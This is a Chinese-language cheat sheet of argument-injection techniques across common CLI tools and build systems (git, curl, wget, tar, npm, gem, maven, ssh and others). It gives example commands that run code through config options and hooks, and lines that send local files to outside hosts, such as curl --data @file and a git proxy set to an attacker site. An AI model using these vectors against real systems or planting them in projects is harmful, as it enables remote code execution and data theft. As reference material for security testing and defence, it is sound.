参数注入

awk

system

awk 支持 system 命令来执行命令:

$ awk 'BEGIN {system("cmdname arg1 arg2")}' /dev/null
# 执行命令与文件中的行数相同
$ awk 'system("cmdname arg1 arg2")' /path/to/file

如果不能插入空格,可以使用 sprintf 来绕过:

$ awk 'BEGIN{system(sprintf("cmdname%carg1",32))}'

参考:

bundler

bundler install

bundler install 在底层使用 gem,因此可以重用 gem 的功能来获利。

Gemfile

Gemfile 描述了执行相关 Ruby 代码所需的 gem 依赖项。由于它是一个 ruby 文件,您可以编写任意代码,在运行 bundle install 时执行。

# Gemfile

# 这里的任意代码
system('echo "hola!"')

当运行 bundle install 时,任意的 ruby 代码将被执行。

$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.

gem 依赖项

由于 bundler 使用 gem install 来安装 Gemfile 中指定的依赖项,您可以使用扩展来嵌入任意代码。

# hola.gemspec 文件

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = '[email protected]'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
# extconf.rb

# 这里的任意代码
system('echo "hola!"')
# 构建并推送到 rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
# Gemfile

source 'https://rubygems.org'

gem 'hola'

当运行 bundle install 时,任意的 ruby 代码将被执行。

$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...

参考:

git 依赖项

bundler 的 gem 源之一是包含 gem 源代码的 git 仓库。由于 git 仓库包含源代码,bundler 在安装前会构建它。因此,您可以编写任意代码,在运行 bundle install 时执行。

您可以使用 gemspec 文件和原生扩展来执行任意代码

github.com 上创建一个包含以下 hola.gemspec 文件的仓库:

# 这里的任意代码
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = '[email protected]'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end

将仓库作为 git 依赖项添加到 Gemfile 中。

# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'

当运行 bundle install 时,任意的 ruby 代码将被执行。

$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

参考:

path 依赖项

您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 Gemfile 的目录解析。由于 git 仓库包含源代码,bundler 在安装前会构建它。因此,您可以编写任意代码,在运行 bundle install 时执行。

您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 Gemfile 的目录解析。

:git 选项的语义类似,:path 选项要求相关目录包含 gem 的 .gemspec,或者您指定 bundler 应使用的显式版本。

:git 不同,bundler 不会为指定为路径的 gem 编译原生扩展

因此,您可以使用带有任意代码的 .gemspec 文件带有原生扩展的构建 gem来获得代码执行。

# Gemfile
# .gemspec 文件位于 vendor/hola 中
gem 'hola', :path => "vendor/hola"
# Gemfile
# vendor/hola 包含 hola-0.0.0.gem 文件
gem 'hola', '0.0.0', :path => "vendor/hola"

当运行 bundle install 时,任意的 ruby 代码将被执行。

$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

参考:

curl

curl 可用于泄露本地文件或向它们写入任意内容。

# 使用 POST 请求发送本地文件
$ curl --data @/path/to/local/file https://website.com
$ curl -F 'var=@/path/to/local/file' https://website.com
$ curl --upload-file /path/to/local/file https://website.com
# 将响应写入本地文件
$ curl https://website.com/payload.txt -o /path/to/local/file

此外,file: 方案可用于读取或复制本地文件:

# 读取本地文件
$ curl file:///path/to/local/file
# 将本地文件复制到新位置
$ curl file:///path/to/local/file -o /path/to/another/local/file

参考:

find

exec

-exec 选项可用于执行任意命令:

$ find . -name not_existing -or -exec cmdname arg1 arg2 \; -quit
$ find . -exec cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -exec cat {} \; -quit

参考:

execdir

-execdir 类似于 -exec,但指定的命令从包含匹配项的子目录中运行。-execdir 可用于执行任意命令:

$ find . -name not_existing -or -execdir cmdname arg1 arg2 \; -quit
$ find . -execdir cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -execdir cat {} \; -quit

fprintf

-fprintf 可用于写入本地文件:

$ find . -fprintf /path/to/file 'arbitrary content here' -quit

find 提供了多种写入文件的方式,查看 手册 了解更多详细信息。

参考:

gem

gem build

gemspec 文件是一个 ruby 文件,定义了 gem 中的内容、谁制作了它以及 gem 的版本。由于它是一个 ruby 文件,您可以编写任意代码,在运行 gem build 时执行。

# hola.gemspec 文件

# 这里的任意代码
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = '[email protected]'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end

当运行 gem build 时,任意的 ruby 代码将被执行。

$ gem build hola.gemspec
hola!
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem

参考:

gem install

扩展

gemspec 允许您定义在安装 gem 时要构建的扩展。许多 gem 使用扩展来包装用 C 编写的库与 ruby 包装器。gem 使用 extconf.rb 在安装期间构建扩展。由于它是一个 ruby 文件,您可以编写任意代码,在运行 gem install 时执行。

# hola.gemspec 文件

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = '[email protected]'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
# extconf.rb

# 这里的任意代码
system('echo "hola!"')
$ gem build hola.gemspec
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem

当运行 gem install 时,任意的 ruby 代码将被执行。

$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...

参考:

git

-c/--config-env

-c/--config-env 将配置参数传递给命令。给定的值将覆盖配置文件中的值。查看 通过 .git/config 滥用 部分以找到可滥用的参数。

记住,现代版本的 Git 支持通过 GIT_CONFIG* 环境变量 设置任何配置值。

滥用 git 目录

git 目录维护与 git 仓库相关的内部状态或元数据。它在用户的机器上创建,当:

  • 用户执行 git init 来初始化一个空的本地仓库

  • 用户执行 git clone <repository> 从远程位置克隆现有仓库

git 目录的结构记录在 https://git-scm.com/docs/gitrepository-layout

注意,git 目录通常是但不一定是名为 .git 的目录,位于仓库的根目录。有几个变量可以重新定义路径:

  • GIT_DIR 环境变量或 --git-dir 命令行选项指定用于仓库基础的路径,而不是默认的 .git

  • GIT_COMMON_DIR 环境变量或 commondir 文件指定将从中获取非工作树文件的路径,这些文件通常在 $GIT_DIR 中。

注意,裸仓库 根本没有 .git 目录。

参考:

通过 .git/config 滥用

.git/config 允许在每个仓库的基础上配置选项。许多选项允许指定将在各种情况下执行的命令,但其中一些情况仅在用户以特定方式与 git 仓库交互时出现。

至少有以下几种设置选项的方法:

  1. 在系统范围内使用 /etc/gitconfig 文件

  2. 在全局范围内使用 ~/git/config~/.gitconfig 文件

  3. 在本地每个仓库的基础上使用 .git/config 文件

  4. 在本地每个仓库的基础上使用 .git/config.worktree 文件。这是可选的,只有当 .git/config 中存在 extensions.worktreeConfig 时才会搜索

  5. 在本地每个仓库的基础上使用 git -c/--config-env 选项

  6. 在本地每个仓库的基础上使用 git-clone -c/--config 选项

core.gitProxy

core.gitProxy 给出一个在使用 git:// 协议建立与远程的连接时将执行的命令

$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.gitProxy="./pwn.sh" git://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

core.fsmonitor

core.fsmonitor 选项用作命令,该命令将标识自请求的日期/时间以来可能已更改的所有文件。

换句话说,git 提供的许多操作将调用 core.fsmonitor 给出的命令,以快速将操作范围限制为已知已更改的文件,以提高性能。

至少以下 git 操作调用 core.fsmonitor 给出的命令:

  • git status 用于显示有关工作树状态的信息,包括是否有任何文件有未提交的更改

  • git add <pathspec> 用于暂存更改以提交到仓库

  • git rm --cached <file> 用于取消暂存更改

  • git commit 用于提交暂存的更改

  • git checkout <pathspec> 用于检出文件、提交、标签、分支等

对于接受文件名的操作,即使提供的文件名不存在,core.fsmonitor 也会触发。

$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# 更改 core.fsmonitor 以便在调用时向 STDERR 回显消息
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> .git/config
$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	fsmonitor = "echo \"Pwned as $(id)\">&2; false"
# git-status
$ git status
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

# git-add
$ touch aaaa
$ git add aaaa
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)

$ git add zzzz
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
fatal: pathspec 'zzzz' did not match any files

# git-commit
$ git commit -m 'add aaaa'
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
[main (root-commit) 7c2f2c6] add aaaa
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 aaaa

参考:

core.hooksPath

core.hooksPath钩子设置不同的路径。您可以在仓库中创建 post checkout 钩子,使用 hooksPath 设置钩子的路径,并执行任意代码。

$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # 提交并推送

要执行 payload,运行 git-clone

$ git clone -c core.hooksPath=hooks "<REPO>"

参考:

core.pager

core.pager 指定 Git 命令使用的文本查看器(例如,less)。该值旨在由 shell 解释,可用于执行任意命令。

例如,在以下代码片段中,git-grep 具有 --open-files-in-pager 键,如果参数中未指定值,则使用 core.pager 中的默认分页器:

$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git -c core.pager='cmdname arg1 arg2 #' grep --open-files-in-pager .

如果分页器值不是由用户直接设置的,则有优先级顺序:

  1. GIT_PAGER 环境变量。

  2. core.pager 配置。

  3. PAGER 环境变量。

  4. 编译时选择的默认值(通常是 less)。

因此,以下代码片段也可用于执行命令:

$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ GIT_PAGER='id #' git grep --open-files-in-pager .

core.sshCommand

core.sshCommand 给出一个在使用 SSH 协议建立与远程的连接时将执行的命令。如果设置了此变量,当它们需要连接到远程系统时,git fetchgit push 将使用指定的命令而不是 ssh

$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.sshCommand="./pwn.sh" [email protected]:user/project.git
# 或
$ git clone -c core.sshCommand="./pwn.sh" ssh://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

diff.external

diff.external 给出一个将代替 git 内部 diff 函数使用的命令。

$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone https://github.com/user/project.git
$ cd project
$ git -c diff.external="../pwn.sh" HEAD 480e4c9
"Pwned as uid=0(root) gid=0(root) groups=0(root)"

filter.<driver>.clean 和 filter.<driver>.smudge

filter..clean 用于在提交时将工作树文件的内容转换为 blob。

filter..smudge 用于在检出时将 blob 对象的内容转换为工作树文件。

$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.&lt;driver&gt;.clean 和 filter.&lt;driver&gt;.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ touch example
$ git add ./example
$ git commit -m 'commit'
$ echo "*  text  filter=any" > .gitattributes
$ git status
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)
	.gitattributes

nothing added to commit but untracked files present (use "git add" to track)

$ git add .gitattributes
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.&lt;driver&gt;.clean 和 filter.&lt;driver&gt;.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ echo "*  text  filter=any" > .gitattributes
$ git fetch
$ git checkout main
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Branch 'main' set up to track remote branch 'main' from 'origin'.
Switched to a new branch 'main'

参考:

http.proxy 和 http.<URL>.proxy

http.proxyhttp.<URL>.proxy 覆盖 HTTP 代理。您可以使用它来获得 SSRF:

$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory

注意其他 http.* 配置和 remote.<name>.proxy,它们可以帮助增加影响。

参考:

通过 .git/hooks/ 滥用

.git/hooks/ 中的各种文件在某些 git 操作时执行。例如:

  • pre-commitpost-commit 分别在提交操作之前和之后执行

  • post-checkout 在检出操作之后执行

  • pre-push 在推送操作之前执行

在区分可执行文件和不可执行文件的文件系统上,只有当相应的文件是可执行的时才会执行钩子。此外,钩子只在给定的用户交互时执行,例如在执行提交时。

例如,您可以使用裸仓库来传递自定义 git 钩子并执行任意代码:

# 克隆或创建仓库
$ git clone "<REPO>" target_directory
$ cd target_directory
# 将子项目添加为裸仓库
$ mkdir subproject
$ cd subproject
$ git init --bare
# 添加恶意钩子
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
# 提交并推送

如果易受攻击的代码对准备好的仓库执行以下 bash 命令,它将触发自定义钩子执行并导致任意代码被执行:

$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"

参考:

通过 .git/index 滥用

您可以使用精心制作的 .git/index 文件实现任意写入原语,查看公告

通过 .git/HEAD 滥用

通过损坏 .git/HEAD 可以欺骗 Git 从意外位置加载配置。在这种情况下,Git 开始在当前文件夹中查找仓库,攻击者可以完全控制该文件夹,例如,如果当前文件夹是包含克隆的远程仓库所有文件的工作树。利用流程可能如下:

$ git clone https://github.com/remote/repo.git
$ cd repo
# 创建空文件夹以符合 Git 仓库的预期结构
$ mkdir objects refs worktree
# 创建非空的 HEAD 来伪造有效的引用
$ echo "ref: refs/heads/main" > HEAD
# 使用 core.fsmonitor 准备恶意的配置文件来执行 payload
$ echo "[core]" > config
$ echo "\trepositoryformatversion = 0" >> config
$ echo "\tbare = false" >> config
$ echo "\tworktree = worktree" >> config
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> config
# 损坏 HEAD 文件
$ echo "" > .git/HEAD
# 利用
$ git status
Pwned as uid=501(user)
Pwned as uid=501(user)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

参考:

git-blame

--output

git-blame 具有 --output 选项,该选项在手册中没有记录,并且通常出现在其他 git 子命令中。执行 git blame --output=foo 导致有趣的行为:

$ git init
$ git blame --output=foo
usage: git blame [<options>] [<rev-opts>] [<rev>] [--] <file>

    <rev-opts> are documented in git-rev-list(1)

    --incremental         show blame entries as we find them, incrementally
    -b                    do not show object names of boundary commits (Default: off)
# ...

# 注意名为 foo 的新文件的存在
$ ls -la foo
-rw-r--r--    1 user  staff     0 Mar 18 20:18 foo

虽然命令失败了,但创建了一个名为 foo 的空文件。如果同名的文件已经存在,目标文件将被截断。此选项提供任意文件截断原语。例如,攻击者可以使用它来损坏 .git 文件夹中的关键文件,如 .git/HEAD,并欺骗 Git 从意外位置加载配置,查看 通过 .git/HEAD 滥用 部分。

参考:

git-clone

-c/--config

-c/--config 在新创建的仓库中设置配置变量;这在仓库初始化后立即生效,但在获取远程历史记录或检出任何文件之前生效。查看 通过 .git/config 滥用 部分以找到可滥用的变量。

ext URL

git-clone 允许在 ext URL 中为远程仓库指定 shell 命令。例如,下一个示例将执行 whoami 命令来尝试连接到远程仓库:

$ git clone 'ext::sh -c whoami% >&2'

参考:

<directory>

git-clone 允许指定一个新目录来克隆到。只有当目录为空时才允许克隆到现有目录中。您可以使用它来将仓库写入默认文件夹之外。

$ git clone -- "<REPO>" target_directory

-u/--upload-pack

upload-pack 指定在通过 ssh 访问要克隆的仓库时在另一端运行的命令的非默认路径。您可以像这样执行任意代码:

$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo

参考:

git-diff

git-diff 对 /dev/null

git-diff/dev/null 可用于读取文件的整个内容,即使在 git 目录之外。

$ git diff /dev/null /path/fo/file/outside/git/repo
$ git diff /dev/null path/to/file/in/git/repo

参考:

--no-index

--no-index 键可用于将 git-diff 变为对 git 仓库中另一个文件的正常 diff,该文件不必被跟踪。

$ git diff --no-index local-secret-file.conf git.md

参考:

git-fetch

--upload-pack

--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。

$ mkdir repo
$ cd repo
$ git init
$ git fetch main --upload-pack='cmdname arg1 arg2 >&2 #'

参考:

git-fetch-pack

--exec

--upload-pack 相同。查看下面的部分。

--upload-pack

--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。

$ mkdir repo
$ cd repo
$ git init
$ git fetch-pack --upload-pack='cmdname arg1 arg2 >&2 #' .

git-grep

--no-index

no-index 告诉 git-grep 搜索当前目录中不被 Git 管理的文件。换句话说,如果工作目录与仓库目录不同,no-index 允许您访问工作目录中的文件。

参考:

-O/--open-files-in-pager

-O/--open-files-in-pagerpager 中打开匹配的文件。它可以用于运行任意命令:

$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git grep --open-files-in-pager='cmdname arg1 arg2 #' .

参考:

git-log

--output

output 定义一个特定的输出文件而不是 stdout。您可以使用它来重写任意文件。

$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date:   Fri Aug 29 00:00:00 2021 +0000

    Controlled content

参考:

git-ls-remote

--upload-pack

--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。

$ mkdir repo
$ cd repo
$ git init
$ git ls-remote --upload-pack='cmdname arg1 arg2 >&2 #' main

参考:

git-pull

--upload-pack

--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2 将输出路由到 stderr。

$ mkdir repo
$ cd repo
$ git init
$ git pull main --upload-pack='cmdname arg1 arg2 >&2 #'

参考:

git-push

--receive-pack/--exec

receive-pack or exec 指定远程端 git-receive-pack 程序的路径。您可以像这样执行任意代码:

$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# 或
$ git push --exec=payload.sh username/repo main
# 或
$ git push --receive-pack=payload.sh main

maven

mvn <PHASE> 执行期间执行任意命令或代码是可能的,通过使用各种插件,如 exec-maven-plugingroovy-maven-plugin。为了在阶段 <PHASE> 期间使用 groovy-maven-plugin 插件执行恶意 payload,您可以使用以下配置:

<plugin>
  <groupId>org.codehaus.gmaven</groupId>
  <artifactId>groovy-maven-plugin</artifactId>
  <executions>
    <execution>
      <phase><!-- PHASE_HERE --></phase>
      <goals>
        <goal>execute</goal>
      </goals>
      <configuration>
        <source>
          print "cmdname arg1 arg2".execute().text
        </source>
      </configuration>
    </execution>
  </executions>
</plugin>

例如,您可以使用以下 pom.xml 文件在 mvn initializemvn compile 期间执行插件:

<?xml version="1.0" encoding="UTF-8"?>
<project>
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>com.mycompany.app</groupId>
  <artifactId>my-app</artifactId>
  <version>1</version>
  
  <build>
    <plugins>
        <plugin>
          <groupId>org.codehaus.gmaven</groupId>
          <artifactId>groovy-maven-plugin</artifactId>
            <executions>
              <execution>
                <phase>initialize</phase>
                <goals>
                  <goal>execute</goal>
                </goals>
                <configuration>
                  <source>
                    print "cmdname arg1 arg2".execute().text
                  </source>
                </configuration>
              </execution>
          </executions>
        </plugin>
     </plugins>   
  </build>
</project>

参考:

npm scripts

package.json 文件的 scripts 属性支持许多内置脚本及其预设生命周期事件以及任意脚本。所有这些都可以使用 npm run-script 或简写 npm run 执行。

依赖项的脚本可以使用 npm explore <pkg> -- npm run <stage> 运行

具有匹配名称的 pre 和 post 命令也将为这些运行(例如 premyscriptmyscriptpostmyscript)。要为 package.jsonscripts 部分中定义的任何脚本创建 pre 或 post 脚本,只需创建另一个具有匹配名称的脚本并在其开头添加 prepost

在以下示例中,npm run compress 将按描述执行这些脚本。

{
  "scripts": {
    "precompress": "{{ 在 `compress` 脚本之前执行 }}",
    "compress": "{{ 运行命令来压缩文件 }}",
    "postcompress": "{{ 在 `compress` 脚本之后执行 }}"
  }
}

有一些特殊的生命周期脚本只在某些情况下发生。除了 pre<event>post<event><event> 脚本之外,这些脚本也会发生。

  • prepare(自 [email protected] 起)

    • 在打包之前的任何时候运行,即在 npm publishnpm pack 期间

    • 在包打包之前运行

    • 在包发布之前运行

    • 在没有参数的本地 npm install 上运行

    • prepublish 之后运行,但在 prepublishOnly 之前运行

    • 注意:如果通过 git 安装的包包含 prepare 脚本,其 dependenciesdevDependencies 将被安装,并且 prepare 脚本将在包打包和安装之前运行

    • npm@7 开始,这些脚本在后台运行。要查看输出,请运行:--foreground-scripts

  • prepublish已弃用

    • npm publish 期间不运行,但在 npm cinpm install 期间运行

  • prepublishOnly

    • 在包准备和打包之前运行,仅在 npm publish 上运行

  • prepack

    • 在打包 tarball 之前运行(在 npm packnpm publish 和安装 git 依赖项时)

    • 注意:npm run packnpm pack 不同。npm run pack 是任意的用户定义脚本名称,而 npm pack 是 CLI 定义的命令

  • postpack

    • 在生成 tarball 之后但在将其移动到最终目的地之前运行(如果有的话,发布不会在本地保存 tarball)

npm cache add

npm cache add 运行以下生命周期脚本:

  • prepare

npm ci

npm ci 运行以下生命周期脚本:

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

这些都在实际将模块安装到 node_modules 之后运行,按顺序,中间没有内部操作。

npm diff

npm diff 运行以下生命周期脚本:

  • prepare

npm install

npm install 运行以下生命周期脚本(当您运行 npm install -g <pkg-name> 时也会运行):

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

如果在包的根目录中有 binding.gyp 文件并且未定义 install 或 preinstall 脚本,npm 将默认 install 命令使用 node-gyp 通过 node-gyp rebuild 进行编译。

npm pack

npm pack 运行以下生命周期脚本:

  • prepack

  • prepare

  • postpack

npm publish

npm publish 运行以下生命周期脚本:

  • prepublishOnly

  • prepack

  • prepare

  • postpack

  • publish

  • postpublish

prepare--dry-run 期间不会运行

npm rebuild

npm rebuild 运行以下生命周期脚本:

  • preinstall

  • install

  • postinstall

  • prepare

prepare 只有在当前目录是符号链接时才会运行(例如,使用链接的包)

npm restart

npm restart 运行 restart 脚本(如果已定义),否则如果存在 stop 和 start 都会运行(包括它们的 pre 和 post 迭代):

  • prerestart

  • restart

  • postrestart

npm start

npm start 运行以下生命周期脚本:

  • prestart

  • start

  • poststart

如果在包的根目录中有 server.js 文件,那么 npm 将默认 start 命令为 node server.js。在这种情况下,prestartpoststart 仍会运行。

npm stop

npm stop 运行以下生命周期脚本:

  • prestop

  • stop

  • poststop

npm test

npm test 运行以下生命周期脚本:

  • pretest

  • test

  • posttest

pip

pip install

扩展 setuptools 模块允许您挂钩几乎任何 pip 命令。例如,您可以使用 setup.py 文件中的 install 类在 pip install 运行期间执行任意代码。

from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # 在此处插入代码
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)

当运行 pip install 时,将调用 PostInstallCommand.run 方法。

参考:

ssh

authorized_keys 和 id_*.pub

OpenSSH 支持 command 选项,该选项指定每当密钥用于身份验证时执行的命令。

command="cmdname arg1 arg2" ssh-ed25519 AAAAC3Nzblah....

参考:

ssh_config

ssh 从以下来源按以下顺序获取配置数据:

  1. 命令行

  2. 用户的配置文件 ~/.ssh/config

  3. 系统范围的配置文件 /etc/ssh/ssh_config

LocalCommand

LocalCommand 指定在成功连接到服务器后在本地机器上执行的命令。以下 ssh_config 可用于执行任意命令:

Host *
  PermitLocalCommand yes
  LocalCommand cmdname arg1 arg2

参考:

ssh-keygen

-D

ssh-keygen 可以使用 -D 键加载共享库,导致任意命令执行:

$ ssh-keygen -D lib.so

参考:

tar

检查点

检查点 是在将第 n 个记录写入存档(写入检查点)之前,或从存档中读取第 n 个记录之前(读取检查点)的时间点。检查点 允许定期执行任意操作。

$ tar cf archieve.tar --checkpoint=1 --checkpoint-action="exec=echo 'arbitrary payload here'" foo 

--to-command

当使用 --to-command 键时,tar 调用命令并将文件的内容通过管道传输到其标准输出,而不是创建指定的文件。因此它可以用于执行任意命令。

# 需要有效的存档文件
$ tar xf file.tar --to-command='cmdname arg1 arg2'

参考:

-I/--use-compress-program

-I/--use-compress-program 用于指定可以滥用来执行任意命令的外部压缩程序命令:

# 不需要有效的存档
$ tar xf /dev/null --use-compress-program='cmdname arg1 arg2'

参考:

terraform

terraform-plan

Terraform 依赖于称为"提供者"的插件来与远程系统交互。Terraform 配置必须声明它们需要哪些提供者,以便 Terraform 可以安装和使用它们。

您可以编写自定义提供者,将其发布到 Terraform Registry 并将提供者添加到 Terraform 代码中。

terraform {
  required_providers {
    evil = {
      source  = "evil/evil"
      version = "1.0"
    }
  }
}

provider "evil" {}
$ terraform init
$ terraform plan

提供者将在 terraform init 期间被拉入,当运行 terraform plan 时,任意的 ruby 代码将被执行。

此外,Terraform 提供 external provider,它提供了在 Terraform 和外部程序之间接口的方式。因此,您可以使用 external 数据源来运行任意代码。来自文档的以下示例在 terraform plan 期间执行 python 脚本。

data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # 从字符串到字符串的任意映射,传递
    # 到外部程序作为数据查询。
    id = "abc123"
  }
}

参考:

wget

--use-askpass

--use-askpass 指定提示用户和密码的命令。此键可用于执行任意命令,而无需任何参数和 stdout/stderr。

如果未指定命令,则使用环境变量 WGET_ASKPASS 中的命令。如果 WGET_ASKPASS 未设置,则使用环境变量 SSH_ASKPASS 中的命令。此外,可以在 .wgetrc 中设置 use-askpass 的默认命令。

$ wget --use-askpass=cmdname http://0/

参考:

--post-file

--post-file 可用于在 POST 请求中泄露文件。

# 将本地文件发送到远程服务器
# 文件按原样发送
$ wget --post-file=/path/to/file https://website.com/

参考:

-O/--output-document

-o/--output-document 可用于通过 GET 请求下载远程文件并将其保存到特定位置。

$ wget --output-document=/path/to/file https://website.com/file.txt
# 将文件打印到标准输出
$ wget --output-document="-" https://website.com/file.txt

参考:

-o/--output-file

-o/--output-file 指定一个日志文件,用于记录通常报告到标准错误的所有消息。它可以用于将输出写入文件。

# 读取本地文件并将输出写入另一个本地文件
# 只显示非二进制文件,输出是错误日志
$ wget --input-file=/path/to/file --output-file=/path/to/another/file

参考:

-i/--input-file

-i/--input-file 从本地或外部文件读取 URL。此键可用于在错误消息中暴露文件内容:

# 文件内容将显示为错误消息
$ wget --input-file=/path/to/file http://0/

参考:

zip

-TT/--unzip-command

-TT/--unzip-command 用于指定在使用 -T 选项时测试存档的命令。

$ zip archieve.zip /path/to/file -T --unzip-command="cmdname arg1 arg2 #"

参考:

最后更新于